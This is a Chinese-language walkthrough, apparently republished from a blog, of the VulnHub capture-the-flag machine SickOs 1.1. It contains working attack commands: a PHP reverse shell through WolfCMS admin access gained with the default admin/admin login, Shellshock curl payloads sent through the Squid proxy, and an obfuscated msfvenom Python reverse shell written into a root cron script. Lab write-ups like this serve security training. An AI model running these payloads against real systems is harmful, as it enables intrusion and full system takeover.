主頁 >  其他 > Sickos1_1

Sickos1_1

2023-04-09 09:01:27 其他

Sickos1.1

下載地址:https://download.vulnhub.com/sickos/sick0s1.1.7z

一、主機發現

┌──(de1te?de1te)-[~]
└─$ sudo nmap -sn 192.168.239.0/24
[sudo] de1te 的密碼:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-29 09:47 CST
Nmap scan report for 192.168.239.1
Host is up (0.0014s latency).
MAC Address: 00:50:56:C0:00:03 (VMware)
Nmap scan report for 192.168.239.133
Host is up (0.00016s latency).
MAC Address: 00:0C:29:D9:46:32 (VMware)
Nmap scan report for 192.168.239.254
Host is up (0.00011s latency).
MAC Address: 00:50:56:F4:69:7B (VMware)
Nmap scan report for 192.168.239.129
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 19.04 seconds

192.168.239.133 是靶機ip

二、nmap掃描及思路分析

  1. 查看開放埠

    ┌──(de1te?de1te)-[~]
    └─$ sudo nmap --min-rate 10000 -p- 192.168.239.133
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-29 09:49 CST
    Nmap scan report for 192.168.239.133
    Host is up (0.00037s latency).
    Not shown: 65532 filtered tcp ports (no-response)
    PORT     STATE  SERVICE
    22/tcp   open   ssh
    3128/tcp open   squid-http
    8080/tcp closed http-proxy
    MAC Address: 00:0C:29:D9:46:32 (VMware)
    
    Nmap done: 1 IP address (1 host up) scanned in 21.99 seconds
    

    開放了22、3128埠,8080能被掃出來但是被關了

  2. 查看開放埠的服務及版本號

    ┌──(de1te?de1te)-[~]
    └─$ sudo nmap -sT -sV -O -p 22,3128,8080 192.168.239.133   
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-29 09:51 CST
    Nmap scan report for 192.168.239.133
    Host is up (0.00043s latency).
    
    PORT     STATE  SERVICE    VERSION
    22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
    3128/tcp open   http-proxy Squid http proxy 3.1.19
    8080/tcp closed http-proxy
    MAC Address: 00:0C:29:D9:46:32 (VMware)
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.2 - 4.9
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 22.07 seconds
    

    嘗試用UDP進行掃描

    ┌──(de1te?de1te)-[~]
    └─$ sudo nmap -sU -p 22,3128,8080 192.168.239.133       
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-29 09:55 CST
    Nmap scan report for 192.168.239.133
    Host is up (0.00040s latency).
    
    PORT     STATE         SERVICE
    22/udp   open|filtered ssh
    3128/udp open|filtered ndl-aas
    8080/udp open|filtered http-alt
    MAC Address: 00:0C:29:D9:46:32 (VMware)
    
    Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds
    

    沒有獲取到有價值的資訊

  3. 用nmap簡單掃描一下漏洞

    ┌──(de1te?de1te)-[~]
    └─$ sudo nmap --script=vuln -p22,3128,8080 192.168.239.133 
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-29 10:00 CST
    Nmap scan report for 192.168.239.133
    Host is up (0.00056s latency).
    
    PORT     STATE  SERVICE
    22/tcp   open   ssh
    3128/tcp open   squid-http
    8080/tcp closed http-proxy
    MAC Address: 00:0C:29:D9:46:32 (VMware)
    
    Nmap done: 1 IP address (1 host up) scanned in 19.93 seconds
    

    沒有啥簡單的漏洞

  4. 總結:

    • 22埠是ssh服務,
    • 3128是http代理服務,用的是Squid http proxy版本
    • 8080埠也是http代理,但是是關閉的
    • 系統版本是liunx3.2-4.9 之間

    一般來說,22埠不可能會直接被攻擊,所以我們可以嘗試一下3128埠,

    3128和8080埠都顯示http服務,所以我們嘗試用瀏覽器看一下,

    3128埠顯示如下

    ERROR
    The requested URL could not be retrieved
    
    The following error was encountered while trying to retrieve the URL: /
    
        Invalid URL
    
    Some aspect of the requested URL is incorrect.
    
    Some possible problems are:
    
        Missing or incorrect access protocol (should be "http://" or similar)
    
        Missing hostname
    
        Illegal double-escape in the URL-Path
    
        Illegal character in hostname; underscores are not allowed.
    
    Your cache administrator is webmaster.
    
    Generated Wed, 29 Mar 2023 10:09:00 GMT by localhost (squid/3.1.19)
    

    百度搜索了一下,發現squid 是代理服務器

三、Squid代理分析與設定

  1. 目錄爆破

    對埠3128進行爆破

    ┌──(de1te?de1te)-[~]
    └─$ sudo dirb http://192.168.239.133                               
    
    -----------------
    DIRB v2.22    
    By The Dark Raver
    -----------------
    
    START_TIME: Wed Mar 29 13:01:54 2023
    URL_BASE: http://192.168.239.133/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    
    -----------------
    
    GENERATED WORDS: 4612                                                          
    
    ---- Scanning URL: http://192.168.239.133/ ----
    *** Calculating NOT_FOUND code...
                                                                                   
    (!) FATAL: Too many errors connecting to host
        (Possible cause: OPERATION TIMEOUT)
                                                                                   
    -----------------
    END_TIME: Wed Mar 29 13:04:24 2023
    DOWNLOADED: 0 - FOUND: 0
    

    gobuster:

    ┌──(de1te?de1te)-[~]
    └─$ sudo gobuster dir -u 192.168.239.133 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt            
    ===============================================================
    Gobuster v3.5
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://192.168.239.133
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.5
    [+] Timeout:                 10s
    ===============================================================
    2023/03/29 12:56:48 Starting gobuster in directory enumeration mode
    ===============================================================
    
    Error: error on running gobuster: unable to connect to http://192.168.239.133/: Get "http://192.168.239.133/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
    
    

    報錯了,emm嘗試用代理埠3128進行目錄爆破

    ┌──(de1te?de1te)-[~]
    └─$ sudo dirb http://192.168.239.133 -p http://192.168.239.133:3128                                                                                                                                                                       
    
    -----------------
    DIRB v2.22    
    By The Dark Raver
    -----------------
    
    START_TIME: Wed Mar 29 13:05:28 2023
    URL_BASE: http://192.168.239.133/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    PROXY: http://192.168.239.133:3128
    
    -----------------
    
    GENERATED WORDS: 4612                                                          
    
    ---- Scanning URL: http://192.168.239.133/ ----
    + http://192.168.239.133/cgi-bin/ (CODE:403|SIZE:291)                                                                                                                                                                                     
    + http://192.168.239.133/connect (CODE:200|SIZE:109)                                                                                                                                                                                      
    + http://192.168.239.133/index (CODE:200|SIZE:21)                                                                                                                                                                                         
    + http://192.168.239.133/index.php (CODE:200|SIZE:21)                                                                                                                                                                                     
    + http://192.168.239.133/robots (CODE:200|SIZE:45)                                                                                                                                                                                        
    + http://192.168.239.133/robots.txt (CODE:200|SIZE:45)                                                                                                                                                                                    
    + http://192.168.239.133/server-status (CODE:403|SIZE:296)                                                                                 
    -----------------
    END_TIME: Wed Mar 29 13:05:33 2023
    DOWNLOADED: 4612 - FOUND: 7
    

四、web爆破

掃描出了幾個目錄,將192.168.239.133:3128埠設定為代理服務器再進行訪問

查看8080埠

BLEHHH!!! 

查看roboots.txt

roboots.txt
User-agent: *
Disallow: /
Dissalow: /wolfcms

出現wolfcms,再查看一下

image

  • 看到cms,就要想能不能找到管理目錄,google

    wolfcms admin path
    

    瀏覽網頁,發現管理目錄一般為?加admin

    /wolfcms/?/admin/plugin
    

查看網頁發現也有?,嘗試一下

image

如何登錄?

  • 暴力破解
  • 默認的用戶名和密碼
  • 弱密碼進行嘗試

通過google搜索,發現用戶名多為admin,所以以admin為用戶名進行弱密碼嘗試,

通過多次嘗試,最終

admin----->admin

image

發現好多php代碼,可以嘗試使用一句話木馬進行反彈shell進行操作

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.239.128/443 0>&1'");?>

開啟監聽埠

sudo nc -lvnp 443

反射成功

www-data@SickOs:/var/www/wolfcms$         

五、獲得初始權限與提權

  1. 查看目錄·

    www-data@SickOs:/var/www/wolfcms$ ls
    ls
    CONTRIBUTING.md
    README.md
    composer.json
    config.php
    docs
    favicon.ico
    index.php
    public
    robots.txt
    wolf
    

    config.php組態檔一定要注意

    查看一下

    define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
    define('DB_USER', 'root'); # 用戶名
    define('DB_PASS', 'john@123');  # 密碼
    define('TABLE_PREFIX', '');
    

    查看用戶

    www-data@SickOs:/var/www/wolfcms$ cat /etc/passwd
    cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid:x:100:101::/var/lib/libuuid:/bin/sh
    syslog:x:101:103::/home/syslog:/bin/false
    messagebus:x:102:105::/var/run/dbus:/bin/false
    whoopsie:x:103:106::/nonexistent:/bin/false
    landscape:x:104:109::/var/lib/landscape:/bin/false
    sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
    sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash
    mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
    

    根據以上資訊,看看能不能ssh

    sudo ssh [email protected]                                                                       │    link/ether 00:0c:29:4c:a6:2d brd ff:ff:ff:ff:ff:ff
    The authenticity of host '192.168.239.133 (192.168.239.133)' can't be established.                      │    inet 192.168.239.129/24 brd 192.168.239.255 scope global dynamic noprefixroute eth0
    ECDSA key fingerprint is SHA256:fBxcsD9oGyzCgdxtn34OtTEDXIW4E9/RlkxombNm0y8.                            │       valid_lft 1237sec preferred_lft 1237sec
    This key is not known by any other names.                                                               │    inet6 fe80::5cf0:65a1:a51:3563/64 scope link noprefixroute 
    Are you sure you want to continue connecting (yes/no/[fingerprint])? y                                  │       valid_lft forever preferred_lft forever
    Please type 'yes', 'no' or the fingerprint: yes                                                         │3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    Warning: Permanently added '192.168.239.133' (ECDSA) to the list of known hosts.                        │    link/ether 00:0c:29:4c:a6:37 brd ff:ff:ff:ff:ff:ff
    [email protected]'s password:                                                                        │    inet 10.200.32.131/24 brd 10.200.32.255 scope global dynamic noprefixroute eth1
    Permission denied, please try again.                                                                    │       valid_lft 1558sec preferred_lft 1558sec
    [email protected]'s password:                                                                        │    inet6 fe80::a4bc:a43:bc59:400a/64 scope link noprefixroute 
    Permission denied, please try again.                                                                    │       valid_lft forever preferred_lft forever
    [email protected]'s password:                                                                        │                                                                                                         
    [email protected]: Permission denied (publickey,password).     
    

    root 用戶不行,試一下其他的--backup

    ┌──(de1te?de1te)-[~]                                                                                   │3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    └─$ sudo ssh [email protected]                                                                     │    link/ether 00:0c:29:4c:a6:37 brd ff:ff:ff:ff:ff:ff
    [email protected]'s password:                                                                      │    inet 10.200.32.131/24 brd 10.200.32.255 scope global dynamic noprefixroute eth1
    Permission denied, please try again.                                                                    │       valid_lft 1558sec preferred_lft 1558sec
    [email protected]'s password:                                                                      │    inet6 fe80::a4bc:a43:bc59:400a/64 scope link noprefixroute 
    Permission denied, please try again.                                                                    │       valid_lft forever preferred_lft forever
    [email protected]'s password:                                                                      │                                                                                                         
    [email protected]: Permission denied (publickey,password).   
    

    試一下sickos

    (de1te?de1te)-[~]                                                                                   │┌──(de1te?de1te)-[~]
    └─$ sudo ssh [email protected]                                                                     │└─$ ip a
    [email protected]'s password:                                                                      │1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)                                        │    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
                                                                                                            │    inet 127.0.0.1/8 scope host lo
     * Documentation:  https://help.ubuntu.com/                                                             │       valid_lft forever preferred_lft forever
                                                                                                            │    inet6 ::1/128 scope host 
      System information as of Wed Mar 29 19:19:58 IST 2023                                                 │       valid_lft forever preferred_lft forever
                                                                                                            │2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
      System load:  0.0               Processes:           116                                              │    link/ether 00:0c:29:4c:a6:2d brd ff:ff:ff:ff:ff:ff
      Usage of /:   4.3% of 28.42GB   Users logged in:     0                                                │    inet 192.168.239.129/24 brd 192.168.239.255 scope global dynamic noprefixroute eth0
      Memory usage: 12%               IP address for eth0: 192.168.239.133                                  │       valid_lft 1237sec preferred_lft 1237sec
      Swap usage:   0%                                                                                      │    inet6 fe80::5cf0:65a1:a51:3563/64 scope link noprefixroute 
                                                                                                            │       valid_lft forever preferred_lft forever
      Graph this data and manage this system at:                                                            │3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        https://landscape.canonical.com/                                                                    │    link/ether 00:0c:29:4c:a6:37 brd ff:ff:ff:ff:ff:ff
                                                                                                            │    inet 10.200.32.131/24 brd 10.200.32.255 scope global dynamic noprefixroute eth1
    124 packages can be updated.                                                                            │       valid_lft 1558sec preferred_lft 1558sec
    92 updates are security updates.                                                                        │    inet6 fe80::a4bc:a43:bc59:400a/64 scope link noprefixroute 
                                                                                                            │       valid_lft forever preferred_lft forever
    New release '14.04.3 LTS' available.                                                                    │                                                                                                         
    Run 'do-release-upgrade' to upgrade to it.                                                              │            
                                                                                                            │┌──(de1te?de1te)-[~]
    Last login: Tue Sep 22 08:32:44 2015        
    

    成功!!!!

    查看權限:

    sickos@SickOs:~$ whoami
    sickos
    sickos@SickOs:~$ sudo -l
    [sudo] password for sickos: 
    Matching Defaults entries for sickos on this host:
        env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
    
    User sickos may run the following commands on this host:
        (ALL : ALL) ALL
    

    看了是root,新起bash

    sickos@SickOs:~$ sudo /bin/bash
    root@SickOs:~# 
    root@SickOs:~# pwd
    /home/sickos
    root@SickOs:~# cd /root
    root@SickOs:/root# 
    root@SickOs:/root# ls  
    a0216ea4d51874464078c618298b1367.txt
    root@SickOs:/root# cat a0216ea4d51874464078c618298b1367.txt 
    If you are viewing this!!
    
    ROOT!
    
    You have Succesfully completed SickOS1.1.
    Thanks for Trying
    
    
    root@SickOs:/root# 
    
    

    拿下!!!

六、第二種思路

理由shellshock漏洞獲得反彈shell,然后再進行提權等一系列的操作

關于shellshock:

https://wooyun.js.org/drops/Shellshock漏洞回顧與分析測驗.html

https://github.com/opsxcq/exploit-CVE-2014-6271

關于定時任務:

https://blog.csdn.net/weixin_35977784/article/details/117011839

  1. 使用nikto工具進行掃描

    ┌──(de1te?de1te)-[~]
    └─$ sudo nikto -h 192.168.239.133 -useproxy http://192.168.239.133:3128
    [sudo] de1te 的密碼:
    - Nikto v2.5.0
    ---------------------------------------------------------------------------
    + Target IP:          192.168.239.133
    + Target Hostname:    192.168.239.133
    + Target Port:        80
    + Proxy:              192.168.239.133:3128
    + Start Time:         2023-03-30 09:34:59 (GMT8)
    ---------------------------------------------------------------------------
    + Server: Apache/2.2.22 (Ubuntu)
    + /: Retrieved via header: 1.0 localhost (squid/3.1.19).
    + /: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21.
    + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
    + /: Uncommon header 'x-cache-lookup' found, with contents: MISS from localhost:3128.
    + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
    + /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 265381, size: 45, mtime: Sat Dec  5 08:35:02 2015. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
    + : Server banner changed from 'Apache/2.2.22 (Ubuntu)' to 'squid/3.1.19'.
    + /: Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_REQ 0.
    + /index: Uncommon header 'tcn' found, with contents: list.
    + /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
    + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
    + /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
    + /cgi-bin/status: Uncommon header '93e4r0-cve-2014-6278' found, with contents: true.
    + /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
    + /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
    + /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
    + /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
    + /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
    + /.bash_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.
    + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
    + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
    + 8919 requests: 9 error(s) and 21 item(s) reported on remote host
    + End Time:           2023-03-30 09:38:33 (GMT8) (214 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested
    

    提示有shellshock漏洞,看看能不能利用

    ┌──(de1te?de1te)-[~]
    └─$ sudo curl -v --proxy http://192.168.239.133:3128 http://192.168.239.133/cgi-bin/status -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'"
    [sudo] de1te 的密碼:
    *   Trying 192.168.239.133:3128...
    * Connected to 192.168.239.133 (192.168.239.133) port 3128 (#0)
    > GET http://192.168.239.133/cgi-bin/status HTTP/1.1
    > Host: 192.168.239.133
    > Accept: */*
    > Proxy-Connection: Keep-Alive
    > user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
    > 
    * HTTP 1.0, assume close after body
    < HTTP/1.0 200 OK
    < Date: Thu, 30 Mar 2023 09:54:26 GMT
    < Server: Apache/2.2.22 (Ubuntu)
    < X-Cache: MISS from localhost
    < X-Cache-Lookup: MISS from localhost:3128
    < Via: 1.0 localhost (squid/3.1.19)
    < Connection: close
    < 
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid:x:100:101::/var/lib/libuuid:/bin/sh
    syslog:x:101:103::/home/syslog:/bin/false
    messagebus:x:102:105::/var/run/dbus:/bin/false
    whoopsie:x:103:106::/nonexistent:/bin/false
    landscape:x:104:109::/var/lib/landscape:/bin/false
    sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
    sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash
    mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
    * Closing connection 0
    

    可以執行,驗證成功,構造payload

    sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.239.129 lport=443 -f raw   
    
    bash -c '0<&94-;exec 94<>/dev/tcp/192.168.239.129/443;sh <&94 >&94 2>&94'   
    

    開啟監聽

    sudo nc -lvnp 443  
    

    反彈shell的payload

    sudo curl -v --proxy http://192.168.239.133:3128 http://192.168.239.133/cgi-bin/status -H "user-agent: () { :; }; echo; echo; /bin/bash -c '0<&94-;exec 94<>/dev/tcp/192.168.239.129/443;sh <&94 >&94 2>&94'"
    

    獲得反彈shell,是一個不友好的shell

    ls
    status
    whoami
    www-data
    uname -a
    Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 athlon i386 GNU/Linux
    dpkg -l # 發現有python
    # 嘗試變成一個友好shell界面
    python -c "import pty;pty.spawn('/bin/bash')"
    www-data@SickOs:/usr/lib/cgi-bin$ 
    

    看一下網站下哪些資訊我們可以使用

    www-data@SickOs:/usr/lib/cgi-bin$ cd /var/www
    cd /var/www
    www-data@SickOs:/var/www$ ls
    ls
    connect.py  index.php  robots.txt  wolfcms
    www-data@SickOs:/var/www$ ls -liah 
    ls -liah 
    total 28K
    264214 drwxrwxrwx  3 root     root     4.0K Mar 29 19:14 .
    262145 drwxr-xr-x 13 root     root     4.0K Dec  6  2015 ..
    265283 -rw-------  1 www-data www-data   44 Mar 29 19:14 .bash_history
    265380 -rwxrwxrwx  1 root     root      109 Dec  5  2015 connect.py
    265379 -rw-r--r--  1 root     root       21 Dec  5  2015 index.php
    265381 -rw-r--r--  1 root     root       45 Dec  5  2015 robots.txt
    264349 drwxr-xr-x  5 root     root     4.0K Dec  5  2015 wolfcms
    

    查看一下各個檔案

    www-data@SickOs:/var/www$ cat .bash_history
    cat .bash_history
    cat /etc/passwd
    cat /etc/passwd | grep 'sh'
    www-data@SickOs:/var/www$ python connect.py
    python connect.py
    I Try to connect things very frequently
    
    You may want to try my services
    

    這是一個提示,提示我們可以使用定時任務

    www-data@SickOs:/etc/cron.d$ cd /etc # 進入etc目錄
    cd /etc
    www-data@SickOs:/etc$ ls -lish | grep 'cron'  # 列出帶‘cron’關鍵字的目錄
    ls -lish | grep 'cron'
    131439 4.0K drwxr-xr-x 2 root root   4.0K Dec  5  2015 cron.d
    131120 4.0K drwxr-xr-x 2 root root   4.0K Sep 22  2015 cron.daily
    131443 4.0K drwxr-xr-x 2 root root   4.0K Sep 22  2015 cron.hourly
    131431 4.0K drwxr-xr-x 2 root root   4.0K Sep 22  2015 cron.monthly
    131433 4.0K drwxr-xr-x 2 root root   4.0K Sep 22  2015 cron.weekly
    131437 4.0K -rw-r--r-- 1 root root    722 Jun 20  2012 crontab
    www-data@SickOs:/etc$ cat crontab  # 查看crontab
    cat crontab 
    # /etc/crontab: system-wide crontab
    # Unlike any other crontab you don't have to run the `crontab'
    # command to install the new version when you edit this file
    # and files in /etc/cron.d. These files also have username fields,
    # that none of the other crontabs do.
    
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    
    # m h dom mon dow user  command
    17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
    25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
    47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
    52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
    # 顯示定時計劃在三個目錄里面,分別查看一下
    www-data@SickOs:/etc$ cat cron.d  # 查看cron.d,發現是個目錄
    cat cron.d
    cat: cron.d: Is a directory
    www-data@SickOs:/etc$ cd cron.d  # 進入cron.d目錄
    cd cron.d
    www-data@SickOs:/etc/cron.d$ ls -lish  # 列出全部目錄
    ls -lish 
    total 8.0K
    132895 4.0K -rw-r--r-- 1 root root  52 Dec  5  2015 automate
    132791 4.0K -rw-r--r-- 1 root root 544 Jul  2  2015 php5
    www-data@SickOs:/etc/cron.d$ cat automate # 查看automate 
    cat automate 
    
    * * * * * root /usr/bin/python /var/www/connect.py
    

    可以看出這個定時任務是每分鐘一次,于是我們嘗試看看能不能寫入

    生成payload
    ┌──(de1te?de1te)-[~]
    └─$ sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.239.129 lport=448 -f raw  
    [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
    [-] No arch selected, selecting arch: cmd from the payload
    No encoder specified, outputting raw payload
    Payload size: 368 bytes
    python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkNELgjAQxv+VsacNYrYlocQeJAwiKkjfJddCyTbx5v9fyyL0ye/luON333dc/Wxt5xBY9dAOLRCCvmw7qzSA7yygtzbop8qCk5jHgvF1xMQqZlzEeMx4QxmG0XgKcshgQyHfLtkV+1Oaf5KHSXbeHoosv6TJkU4smLLGaOUI8Xf4HZ9FJ5gFdutbQYDd60YbS6gnl7MoPosSE6qV/68xdW0agoOyNgFUmL4AhqJbBw==')[0])))"
    
    cd /var/www # 進入 /var/www目錄
    vim connect.py # 編輯connect.py
    # 寫入,然后查看寫入
    www-data@SickOs:/var/www$ cat connect.py                      3,1           All
    cat connect.py                                                                  
    #!/usr/bin/python                                             2,1           Top
    
    exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkNELgjAQxv+VsacNYrYlocQeJAwiKkjfJddCyTbx5v9fyyL0ye/luON333dc/Wxt5xBY9dAOLRCCvmw7qzSA7yygtzbop8qCk5jHgvF1xMQqZlzEeMx4QxmG0XgKcshgQyHfLtkV+1Oaf5KHSXbeHoosv6TJkU4smLLGaOUI8Xf4HZ9FJ5gFdutbQYDd60YbS6gnl7MoPosSE6qV/68xdW0agoOyNgFUmL4AhqJbBw==')[0]))
    
    
    print "I Try to connect things very frequently\n"
    print "You may want to try my services"
    www-data@SickOs:/var/www$ 
    

    開啟監聽:

    ┌──(de1te?de1te)-[~]
    └─$ sudo nc -lvnp 448
    listening on [any] 448 ...
    connect to [192.168.239.129] from (UNKNOWN) [192.168.239.133] 32869
    python -c "import pty;pty.spawn('/bin/bash')"
    root@SickOs:~# 
    root@SickOs:~# ls    
    ls
    a0216ea4d51874464078c618298b1367.txt
    root@SickOs:~# whoami
    whoami
    root
    root@SickOs:~# ip a
    ip a
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
        link/ether 00:0c:29:d9:46:32 brd ff:ff:ff:ff:ff:ff
        inet 192.168.239.133/24 brd 192.168.239.255 scope global eth0
           valid_lft forever preferred_lft forever
        inet6 fe80::20c:29ff:fed9:4632/64 scope link 
           valid_lft forever preferred_lft forever
    root@SickOs:~# cat a0216ea4d51874464078c618298b1367.txt
    cat a0216ea4d51874464078c618298b1367.txt
    If you are viewing this!!
    
    ROOT!
    
    You have Succesfully completed SickOS1.1.
    Thanks for Trying
    

    完成!!!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/549508.html

標籤:其他

上一篇:應急回應

下一篇:Vulnhub之Medium Socnet詳細測驗程序

標籤雲
